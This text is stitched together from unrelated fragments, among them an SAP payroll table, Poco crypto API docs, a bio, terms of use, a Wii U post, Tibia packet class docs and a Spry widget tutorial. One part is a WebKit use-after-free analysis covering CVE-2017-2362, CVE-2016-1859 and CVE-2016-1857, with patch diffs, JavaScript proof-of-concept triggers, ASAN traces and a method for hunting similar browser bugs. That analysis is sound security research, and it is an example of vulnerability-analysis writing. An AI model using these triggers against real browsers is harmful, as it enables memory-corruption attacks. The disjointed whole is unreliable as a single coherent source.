| RELID_PCL2 |
SI |
|
Payroll results Slovenia |
| RELID_PCL2 |
SJ |
|
Social insurance - evaluation results (Japan) |
| RELID_PCL2 |
SK |
|
Payroll results (Slovakia) |
| RELID_PCL2 |
SL |
|
Payroll results (Sierra Leone) |
| RELID_PCL2 |
SM |
|
Payroll results (San Marino) |
| RELID_PCL2 |
SN |
|
Payroll results (Senegal) |
| RELID_PCL2 |
SO |
|
Payroll results (Somalia) |
| RELID_PCL2 |
SP |
|
Statutory sickpay (Great Britain) |
| RELID_PCL2 |
SR |
|
Payroll results (Suriname) |
| RELID_PCL2 |
SV |
|
Payroll results (El Salvador) |
| RELID_PCL2 |
SY |
|
Payroll results (Syria) |
| RELID_PCL2 |
SZ |
|
Payroll results (Swaziland) |
| RELID_PCL2 |
TD |
|
Payroll results (Chad) |
| RELID_PCL2 |
TG |
|
Payroll results (Togo) |
| RELID_PCL2 |
TH |
|
Payroll results (Thailand) |
| RELID_PCL2 |
TJ |
|
Payroll results (Tajikistan) |
| RELID_PCL2 |
TM |
|
Payroll results (Tunisia) |
| RELID_PCL2 |
TN |
|
Payroll results (Taiwan) |
| RELID_PCL2 |
TO |
|
Payroll results (Tonga) |
| RELID_PCL2 |
TP |
|
Payroll results (East Timor) |
| RELID_PCL2 |
TR |
|
Payroll results (Turkey) |
| RELID_PCL2 |
TT |
|
Payroll results (Trinidad and Tobago) |
| RELID_PCL2 |
TU |
|
Payroll results (Turkmenistan) |
| RELID_PCL2 |
TV |
|
Payroll results (Tuvalu) |
| RELID_PCL2 |
TW |
|
Tax data South Africa |
| RELID_PCL2 |
TZ |
|
Payroll results (Tanzania) |
| RELID_PCL2 |
UA |
|
Payroll results (Ukraine) |
| RELID_PCL2 |
UG |
|
Payroll results (Uganda) |
| RELID_PCL2 |
UN |
|
Payroll results (United Nations) |
| RELID_PCL2 |
UR |
|
Payroll results (Russia) |
| RELID_PCL2 |
UY |
|
Payroll results (Uruguay) |
| RELID_PCL2 |
UZ |
|
Payroll results (Uzbekistan) |
| RELID_PCL2 |
VA |
|
Payroll results (Vatican City) |
| RELID_PCL2 |
VC |
|
Payroll results (Saint Vincent) |
| RELID_PCL2 |
VE |
|
Payroll results (Venezuela) |
| RELID_PCL2 |
VN |
|
Payroll results (Vietnam) |
| RELID_PCL2 |
VU |
|
Payroll results (Vanuatu) |
| RELID_PCL2 |
WA |
|
Payroll results (Rwanda) |
| RELID_PCL2 |
WS |
|
Payroll results (Samoa) |
| RELID_PCL2 |
WW |
|
SI quarterly totals cluster - Belgian net pay |
| RELID_PCL2 |
WX |
|
SI declaration cluster - Belgian net pay |
| RELID_PCL2 |
WY |
|
BELCOTAX cluster results - Belgian net pay |
| RELID_PCL2 |
XA |
|
Special run (Austria) |
| RELID_PCL2 |
XD |
|
Payroll results (Germany), all data |
| RELID_PCL2 |
XE |
|
Payroll results (Spain) |
| RELID_PCL2 |
XM |
|
Payroll results (Denmark) |
| RELID_PCL2 |
XY |
|
Special payments (Ireland) |
| RELID_PCL2 |
YE |
|
Payroll results (Yemen) |
| RELID_PCL2 |
YJ |
|
Cluster YJ (year-end adjustment) (Japan) |
| RELID_PCL2 |
YS |
|
Payroll results (Solomon Islands) |
| RELID_PCL2 |
YT |
|
Payroll results (Sao Tome) |
| RELID_PCL2 |
YU |
|
Payroll results (Serbia and Montenegro) |
| RELID_PCL2 |
ZA |
|
VBL/SPF average |
| RELID_PCL2 |
ZD |
|
VBL/SPF tax/average |
| RELID_PCL2 |
ZL |
|
Time wage types/work schedule |
| RELID_PCL2 |
ZM |
|
Payroll results (Zambia) |
| RELID_PCL2 |
ZS |
|
VBL/SPF onetime payment |
| RELID_PCL2 |
ZV |
|
SPF data |
| RELID_PCL2 |
ZW |
|
Payroll results (Zimbabwe) |
| RELID_PCL2 |
ZY |
|
Payroll results (Cyprus) |


Library: Crypto
Package: Cipher
Header: Poco/Crypto/CryptoTransform.h
Description
This interface represents the basic operations for cryptographic transformations to be used with a CryptoInputStream or a CryptoOutputStream.
Implementations of this class are returned by the Cipher class to perform encryption or decryption of data.
Member Summary
Member Functions: blockSize, finalize, setPadding, transform
Constructors
CryptoTransform
Creates a new CryptoTransform object.
Destructor
~CryptoTransform
virtual ~CryptoTransform();
Destroys the CryptoTransform.
Member Functions
blockSize
virtual std::size_t blockSize() const = 0;
Returns the block size for this CryptoTransform.
finalize
virtual std::streamsize finalize(
unsigned char * output,
std::streamsize length
) = 0;
Finalizes the transformation. The output buffer must contain enough space for at least two blocks, ie.
length >= 2*blockSize()
must be true. Returns the number of bytes written to the output buffer.
setPadding
virtual int setPadding(
int padding
);
Enables or disables padding. By default encryption operations are padded using standard block padding and the padding is checked and removed when decrypting. If the padding parameter is zero then no padding is performed, the total amount of data encrypted or decrypted must then be a multiple of the block size or an error will occur.
transform
virtual std::streamsize transform(
const unsigned char * input,
std::streamsize inputLength,
unsigned char * output,
std::streamsize outputLength
) = 0;
Transforms a chunk of data. The inputLength is arbitrary and does not need to be a multiple of the block size. The output buffer has a maximum capacity of the given outputLength that must be at least
inputLength + blockSize() - 1
Returns the number of bytes written to the output buffer.


fun processEvent(event: String): List<String>
Searches for account object id that has active subscriptions
Steps: 1) Find not empty array with depth = 3 in params array. To receive result all events should be in example's form 2) Go through all elements of array and find account statistic object with id starting from 2.6 (@see http://docs.bitshares.org/development/blockchain/objects.html) 3) Parse from statistic object account id with key "owner" 4) Check, whether there are listeners for this account id. If true - return found account id, else - null 5) Return null if any of steps fails


ABOUT ME
I am Hameeda Azeema S and am the Chennaite. Done my academics (1996-2000, EEE Batch, BS Abdur Rahman University); A Senior level technical recruiter, recruit me as professional but my passion and determination to acquire expertise in the area of Home Baking paves the way to the incipience of ‘The Dessert Hut”, www.thedesserthut.com & www.facebook.com/thedesserthut.
My profile includes Corporate, Institutions, Service Industries, and Individuals on their immensely memorable Occasions. Each and every product of mine has come out of my exhausting efforts, research, and Product Development, and set “Excellence” as its benchmark, and always tries to do better than before.
Myself also caters under the name of Azee’s Kitchen (www.facebook.com/azeeskitchen and Bashiriyaas Food Junction (www.facebook.com/bashiriyaas) for party orders and blogs at www.azeeskitchen.com to share my recipes and my long time desire to start a food commercial and make an impact in the food industry begins with the foundation building of this trifling hut, ‘The Dessert Hut’. I have a strong belief that venturing into entrepreneurship brings real empowerment.
Currently, I’m also associated with CoInspireIT Services (www.coinspireit.com), an upcoming IT Firm as Sub Partner and Director – Business Development.


By accessing this web site, you are agreeing to be bound by these web site Terms and Conditions of Use, all applicable laws and regulations, and agree that you are responsible for compliance with any applicable local laws. If you do not agree with any of these terms, you are prohibited from using or accessing this site. The materials contained in this web site are protected by applicable copyright and trade mark law.
In no event shall Quicker Meeting Tools or its suppliers be liable for any damages (including, without limitation, damages for loss of data or profit, or due to business interruption,) arising out of the use or inability to use the materials on Quicker Meeting Tools's Internet site, even if Quicker Meeting Tools or a Quicker Meeting Tools authorized representative has been notified orally or in writing of the possibility of such damage. Because some jurisdictions do not allow limitations on implied warranties, or limitations of liability for consequential or incidental damages, these limitations may not apply to you.
The materials appearing on Quicker Meeting Tools's web site could include technical, typographical, or photographic errors. Quicker Meeting Tools does not warrant that any of the materials on its web site are accurate, complete, or current. Quicker Meeting Tools may make changes to the materials contained on its web site at any time without notice. Quicker Meeting Tools does not, however, make any commitment to update the materials.
Quicker Meeting Tools has not reviewed all of the sites linked to its Internet web site and is not responsible for the contents of any such linked site. The inclusion of any link does not imply endorsement by Quicker Meeting Tools of the site. Use of any such linked web site is at the user's own risk.
Quicker Meeting Tools may revise these terms of use for its web site at any time without notice. By using this web site you are agreeing to be bound by the then current version of these Terms and Conditions of Use.
Any claim relating to Quicker Meeting Tools's web site shall be governed by the laws of the State of UK without regard to its conflict of law provisions.
General Terms and Conditions applicable to Use of a Web Site.


---
title: "Wii U secrets: The R3 and L3 buttons don't have names!"
date: 2012-12-14T15:00:00Z
topic: nsidr
mood: default
featureImage: "https://static.nsidr.com/images/inline/img-409-inline.jpg"
authors:
- Brandon Daiker
tags:
- wii u
- wii u secrets
- super secrets
---
You know those fancy buttons underneath the left and right sticks on the PlayStation 3 that are called R3 and L3? They don't actually have any names on the Wii U. The in-game documentation via prompts in Nintendo Land and Ninja Gaiden just say "Hold R" with a picture of a stick that has two little arrows above it. I think this is similar to what the 360 does maybe?
hey. psst. yeah, you. i got what you need. you're cool, so i thought i would let you in on one more super secret secret. even its being here is a secret. but you found it so you can know.
load up your wii u and go to the warawara plaza. yeah, just like that. go ahead and switch the plaza so it's on your gamepad. mmm, yeah. alright go ahead and push zr or zl. push them a bunch, even. go ahead. yeah. you see that? pretty neat huh.
you didn't hear it from me. now get outta here.


A general attack model of UAF on browser
Saelo studied a case of attacking JavaScript engines on Phrack. This paper introduced CVE-2016-4622 in detail, which is a very classic case of UAF on JavaScript engines. I found that it is a very general case of attacking web browsers after studying several same case, so I decided to take notes on them.
CVE-2017-2362
It’s easy to find the git commit of this vulnerability by using a little trick. Let’s see the patch:
@@ -367,19 +361,30 @@ void HTMLFormElement::reset()
if (m_isInResetFunction || !frame)
return;
- m_isInResetFunction = true;
+ Ref<HTMLFormElement> protectedThis(*this);
+
+ SetForScope<bool> isInResetFunctionRestorer(m_isInResetFunction, true);
- if (!dispatchEvent(Event::create(eventNames().resetEvent, true, true))) {
- m_isInResetFunction = false;
+ if (!dispatchEvent(Event::create(eventNames().resetEvent, true, true)))
return;
- }
- for (auto& associatedElement : m_associatedElements) {
- if (is<HTMLFormControlElement>(*associatedElement))
- downcast<HTMLFormControlElement>(*associatedElement).reset();
- }
+ resetAssociatedFormControlElements();
+}
- m_isInResetFunction = false;
+void HTMLFormElement::resetAssociatedFormControlElements()
+{
+ // Event handling can cause associated elements to be added or deleted while iterating
+ // over this collection. Protect these elements until we are done notifying them of
+ // the reset operation.
+ Vector<Ref<HTMLFormControlElement>> associatedFormControlElements;
+ associatedFormControlElements.reserveInitialCapacity(m_associatedElements.size());
+ for (auto* element : m_associatedElements) {
+ if (is<HTMLFormControlElement>(element))
+ associatedFormControlElements.uncheckedAppend(*downcast<HTMLFormControlElement>(element));
+ }
+
+ for (auto& associatedFormControlElement : associatedFormControlElements)
+ associatedFormControlElement->reset();
}
The patch added HTMLFormElement::resetAssociatedFormControlElements() to cache m_associatedElements in a Vector and iterate them instead of iterate m_associatedElements directly. What’s the diffrence between them?
Check the PoC bellow:
function runTest() {
output.value = "test value";
output.appendChild(inserted_div);
document.getElementById("output").addEventListener('DOMSubtreeModified', function() {
for(var i=0; i<20; i++) {
form.appendChild(document.createElement("input"));
}
}, false);
form.reset();
}
After debugging with lldb, we know that form.reset()
ran into dispatchSubtreeModifiedEvent()
and call back into vmEntryToJavaScript which cause the event listener called. The script uses form.appendChild(document.createElement("input"))
to register form elements and get container reallocated, this will free the original elements of m_associatedElements and allocate another.
So what’s the crux of the issue?
We can see the m_associatedElements has a m_ prefixion which means it is a member variable, but when it is iterating like:
for (auto& associatedElement : m_associatedElements) {
the compiler caches element’s base address of m_associatedElements in the stack or register, so that TOCTOU is violated.
The (*associatedElement)
will read 8 bytes and cause the UAF come into being.
It’s amazing that it’s still possible to break TOCTOU when simply access a container, the crux is accessing variable is a runtime operation, which differentiate from accessing from the original memory or the cache memory. It will be dangerous when programmer assumps it must access from origin.
Another crux is javascript engines allows to overide prototype’s callback, this is a general attack model on browsers, we will disscus this at the end of this article. Now let’s see two KeenLab’s Safari vulnerabilities of Pwn2Own last year.
CVE-2016-1859
I used another trick to get the commit, now let’s take a look:
@@ -193,16 +193,21 @@ Node::InsertionNotificationRequest HTMLBodyElement::insertedInto(ContainerNode&
// FIXME: It's surprising this is web compatible since it means a marginwidth and marginheight attribute can
// magically appear on the <body> of all documents embedded through <iframe> or <frame>.
// FIXME: Perhaps this code should be in attach() instead of here.
- HTMLFrameOwnerElement* ownerElement = document().ownerElement();
- if (is<HTMLFrameElementBase>(ownerElement)) {
- HTMLFrameElementBase& ownerFrameElement = downcast<HTMLFrameElementBase>(*ownerElement);
- int marginWidth = ownerFrameElement.marginWidth();
- if (marginWidth != -1)
- setIntegralAttribute(marginwidthAttr, marginWidth);
- int marginHeight = ownerFrameElement.marginHeight();
- if (marginHeight != -1)
- setIntegralAttribute(marginheightAttr, marginHeight);
- }
+ auto* ownerElement = document().ownerElement();
+ if (!is<HTMLFrameElementBase>(ownerElement))
+ return InsertionDone;
+
+ auto& ownerFrameElement = downcast<HTMLFrameElementBase>(*ownerElement);
+
+ // Read values from the owner before setting any attributes, since setting an attribute can run arbitrary
+ // JavaScript, which might delete the owner element.
+ int marginWidth = ownerFrameElement.marginWidth();
+ int marginHeight = ownerFrameElement.marginHeight();
+
+ if (marginWidth != -1)
+ setIntegralAttribute(marginwidthAttr, marginWidth);
+ if (marginHeight != -1)
+ setIntegralAttribute(marginheightAttr, marginHeight);
return InsertionDone;
}
Notice that int marginHeight = ownerFrameElement.marginHeight();
was moved to before setIntegralAttribute(marginwidthAttr, marginWidth);
Run the PoC with ASAN, we got logs bellow:
Use: ownerFrameElement.marginHeight()
ERROR: AddressSanitizer: heap-use-after-free on address 0x60e00002a370 at pc 0x00011b2893d3 bp 0x7fff53a89c60 sp 0x7fff53a89c58
READ of size 4 at 0x60e00002a370 thread T0
#0 0x11b2893d2 in WebCore::HTMLFrameElementBase::marginHeight() const (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x1c433d2)
......
Free: setIntegralAttribute(marginwidthAttr, marginWidth); --> gc()
freed by thread T0 here:
#0 0x110fe7799 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/7.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x43799)
#1 0x1158d7fa5 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2dcdfa5)
#2 0x1157dc613 in bmalloc::Deallocator::deallocate(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2cd2613)
#3 0x1157dc5b5 in bmalloc::Cache::deallocate(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2cd25b5)
#4 0x1157db314 in bmalloc::api::free(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2cd1314)
#5 0x1157da9a4 in WTF::fastFree(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2cd09a4)
#6 0x1199409a4 in WebCore::Node::operator delete(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x2fa9a4)
#7 0x11b6a97c1 in WebCore::HTMLIFrameElement::~HTMLIFrameElement() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x20637c1)
#8 0x11dbcbaf6 in WebCore::Node::removedLastRef() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x4585af6)
#9 0x11965e48e in WebCore::Node::deref() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x1848e)
#10 0x11dbbbf04 in WebCore::Node::derefEventTarget() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x4575f04)
#11 0x11a66ad82 in WebCore::EventTarget::deref() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x1024d82)
#12 0x11ab6d1e9 in WTF::Ref<WebCore::EventTarget>::~Ref() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x15271e9)
#13 0x11ab4d9c4 in WTF::Ref<WebCore::EventTarget>::~Ref() (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/WebCore.framework/Versions/A/WebCore+0x15079c4)
......
We can see that setIntegralAttribute(marginwidthAttr, marginWidth);
caused a garbage collection to get ownerFrameElement freed, ownerFrameElement.marginHeight()
will read the freed memory and UAF happened.
This is because setIntegralAttribute(marginwidthAttr, marginWidth);
will trigger DOMSubtreeModified event so that javascript code execution fall back into attacker’s hand, remove the form node and force to garbage collection will get the container object freed.
This vulnerability isn’t as complex as CVE-2017-2362, the hole to break TOCTOU is setIntegralAttribute(marginwidthAttr, marginWidth);
CVE-2016-1857
@@ -495,9 +495,8 @@ static inline JSValue join(ExecState& state, JSObject* thisObject, StringView se
bool holesKnownToBeOK = false;
for (unsigned i = 0; i < length; ++i) {
if (JSValue value = data[i].get()) {
- joiner.append(state, value);
- if (state.hadException())
- return jsUndefined();
+ if (!joiner.appendWithoutSideEffects(state, value))
+ goto generalCase;
} else {
if (!holesKnownToBeOK) {
if (holesMustForwardToPrototype(state, thisObject))
@@ -545,9 +544,8 @@ static inline JSValue join(ExecState& state, JSObject* thisObject, StringView se
auto data = storage.vector().data();
for (unsigned i = 0; i < length; ++i) {
if (JSValue value = data[i].get()) {
- joiner.append(state, value);
- if (state.hadException())
- return jsUndefined();
+ if (!joiner.appendWithoutSideEffects(state, value))
+ goto generalCase;
} else
joiner.appendEmptyString();
}
-ALWAYS_INLINE void JSStringJoiner::append(ExecState& state, JSValue value)
+ALWAYS_INLINE bool JSStringJoiner::appendWithoutSideEffects(ExecState& state, JSValue value)
{
// The following code differs from using the result of JSValue::toString in the following ways:
// 1) It's inlined more than JSValue::toString is.
@@ -105,35 +106,44 @@ ALWAYS_INLINE void JSStringJoiner::append(ExecState& state, JSValue value)
// 3) It doesn't create a JSString for numbers, true, or false.
// 4) It turns undefined and null into the empty string instead of "undefined" and "null".
// 5) It uses optimized code paths for all the cases known to be 8-bit and for the empty string.
+ // If we might make an effectful calls, return false. Otherwise return true.
if (value.isCell()) {
JSString* jsString;
- if (value.asCell()->isString())
- jsString = asString(value);
- else
- jsString = value.toString(&state);
+ if (!value.asCell()->isString())
+ return false;
+ jsString = asString(value);
append(jsString->viewWithUnderlyingString(state));
- return;
+ return true;
}
if (value.isInt32()) {
append8Bit(state.vm().numericStrings.add(value.asInt32()));
- return;
+ return true;
}
if (value.isDouble()) {
append8Bit(state.vm().numericStrings.add(value.asDouble()));
- return;
+ return true;
}
if (value.isTrue()) {
append8Bit(state.vm().propertyNames->trueKeyword.string());
- return;
+ return true;
}
if (value.isFalse()) {
append8Bit(state.vm().propertyNames->falseKeyword.string());
- return;
+ return true;
}
ASSERT(value.isUndefinedOrNull());
appendEmptyString();
+ return true;
+}
+
+ALWAYS_INLINE void JSStringJoiner::append(ExecState& state, JSValue value)
+{
+ if (!appendWithoutSideEffects(state, value)) {
+ JSString* jsString = value.toString(&state);
+ append(jsString->viewWithUnderlyingString(state));
+ }
}
Simply says, it added a effectful check to avoid operating on cached butterfly after toString().
The original PoC is obfuscated, deobfuscate it as follows:
var bigArray = [];
function func() {}
Function.prototype.toString = function(x) {
bigArray.push(func);
return 123;
};
function trigger() {
for (var i = 0; i < 2000; i++) {
bigArray.push(func);
}
var stringResult = bigArray.join(":");
}
Now the vulnerability is obviously, check the ASAN:
Use: data[i].get()
ERROR: AddressSanitizer: heap-use-after-free on address 0x631000090058 at pc 0x0001105c607c bp 0x7fff55e027d0 sp 0x7fff55e027c8
READ of size 8 at 0x631000090058 thread T0
#0 0x1105c607b in JSC::WriteBarrierBase<JSC::Unknown>::get() const (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x20f07b)
#1 0x110720c71 in JSC::join(JSC::ExecState&, JSC::JSObject*, WTF::StringView) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x369c71)
#2 0x110717aa3 in JSC::arrayProtoFuncJoin(JSC::ExecState*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x360aa3)
Free: bigArray.push(func)
freed by thread T0 here:
#0 0x10e89d799 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/7.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x43799)
#1 0x113061a94 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2caaa94)
#2 0x112f56273 in bmalloc::Deallocator::deallocate(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2b9f273)
#3 0x112f56215 in bmalloc::Cache::deallocate(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2b9f215)
#4 0x112f54ce4 in bmalloc::api::free(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2b9dce4)
#5 0x112f543e4 in WTF::fastAlignedFree(void*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x2b9d3e4)
#6 0x110cbcc31 in JSC::CopiedBlock::destroy(JSC::Heap&, JSC::CopiedBlock*) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x905c31)
#7 0x110cbf4d8 in JSC::CopiedSpace::tryReallocateOversize(void**, unsigned long, unsigned long) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x9084d8)
#8 0x110cbeca4 in JSC::CopiedSpace::tryReallocate(void**, unsigned long, unsigned long) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x907ca4)
#9 0x1123437c1 in JSC::Heap::tryReallocateStorage(JSC::JSCell*, void**, unsigned long, unsigned long) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1f8c7c1)
#10 0x11233ce55 in JSC::Butterfly::growArrayRight(JSC::VM&, JSC::JSCell*, JSC::Structure*, unsigned long, bool, unsigned long, unsigned long) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1f85e55)
#11 0x11232f03c in JSC::JSObject::ensureLengthSlow(JSC::VM&, unsigned int) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1f7803c)
#12 0x11212021b in JSC::JSObject::ensureLength(JSC::VM&, unsigned int) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1d6921b)
#13 0x112336554 in bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*, unsigned int, JSC::JSValue) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1f7f554)
#14 0x112114ce6 in JSC::JSArray::push(JSC::ExecState*, JSC::JSValue) (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1d5dce6)
#15 0x11142723b in operationArrayPush (/Users/arayz/arayz/git/WebKit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x107023b)
JSC::join(JSC::ExecState&, JSC::JSObject*, WTF::StringView)
will call toSting()
to do type conversion to every non-String element of the array passed in, and attacker could just overide the toString()
callback to add some side effects causing the butterfly reallocated.
This vulnerability looks as same as CVE-2017-2362, but it is diffrent, auto data = storage.vector().data();
cached the address of the vector container artificially which is a very dangerous operation.
Summerise
Many other UAFs are made of accesing resources by muti threads or processes. But in browsers, JavaScript engines allows overiding prototype’s callback which make native code execution path in flexible, so that one thread can also cause unexpected UAF if TOCTOU was violated. Focus on functions that will trigger any handler event, and type conversions that have implicit callbacks, be aware of the location of variable, focus it when the global of member variable is cached, try to find if there is a TOCTOU hole between two access operation of the cache.
Leave a Comment


Public Member Functions | |
| DisplayCreatureTextPacket (Client client) | |
| override bool | ParseMessage (NetworkMessage msg, PacketDestination destination) |
| override byte[] | ToByteArray () |
Static Public Member Functions | |
| static bool | Send (Objects.Client client, int creatureId, string creatureName, Location location, Color color, ClientFont font, string text) |
Properties | |
| int | CreatureId [get, set] |
| string | CreatureName [get, set] |
| Location | Location [get, set] |
| Color | Color [get, set] |
| ClientFont | Font [get, set] |
| string | Text [get, set] |
| Tibia.Packets.Pipes.DisplayCreatureTextPacket.DisplayCreatureTextPacket | ( | Client | client | ) |
| override bool Tibia.Packets.Pipes.DisplayCreatureTextPacket.ParseMessage | ( | NetworkMessage | msg, | |
| PacketDestination | destination | |||
| ) | [virtual] |
Reimplemented from Tibia.Packets.PipePacket.
| static bool Tibia.Packets.Pipes.DisplayCreatureTextPacket.Send | ( | Objects.Client | client, | |
| int | creatureId, | |||
| string | creatureName, | |||
| Location | location, | |||
| Color | color, | |||
| ClientFont | font, | |||
| string | text | |||
| ) | [static] |
| override byte [] Tibia.Packets.Pipes.DisplayCreatureTextPacket.ToByteArray | ( | ) | [virtual] |
Reimplemented from Tibia.Packets.PipePacket.
Color Tibia.Packets.Pipes.DisplayCreatureTextPacket.Color [get, set] |
int Tibia.Packets.Pipes.DisplayCreatureTextPacket.CreatureId [get, set] |
string Tibia.Packets.Pipes.DisplayCreatureTextPacket.CreatureName [get, set] |
ClientFont Tibia.Packets.Pipes.DisplayCreatureTextPacket.Font [get, set] |
Location Tibia.Packets.Pipes.DisplayCreatureTextPacket.Location [get, set] |
string Tibia.Packets.Pipes.DisplayCreatureTextPacket.Text [get, set] |


This is a Very basic Tip Calculator App.
Use slider or tap in the input box to enter values
Created By: Rushi


For example, create a folder called SpryAssets in the root folder of your web site, and move the SpryHTMLPanel.js file to it. The SpryHTMLPanel.js file contains all of the information necessary for making the HTML Panel widget interactive.

Make sure that the file path to the SpryHTMLPanel.js file is correct. This path varies depending on where you’ve placed the file in your web site.
<link href="SpryAssets/SpryHTMLPanel.css" rel="stylesheet" type="text/css" />
Make sure that the file path to the SpryHTMLPanel.css file is correct. This path varies depending on where you’ve placed the file in your web site.

This is default text.

 1	 2	 3

 4	 5	 6

 7	 8	 9

This is default text.

This code gives the panel a name (panelWidget) and creates an HTML Panel on the myPanel element. Remember that JavaScript is case sensitive.

This is default text.
 Load Frag
This link has an onclick event that causes the content of the frag.html to load into the panel widget. The format of the method is widgetname.loadContent("pathToFragment");.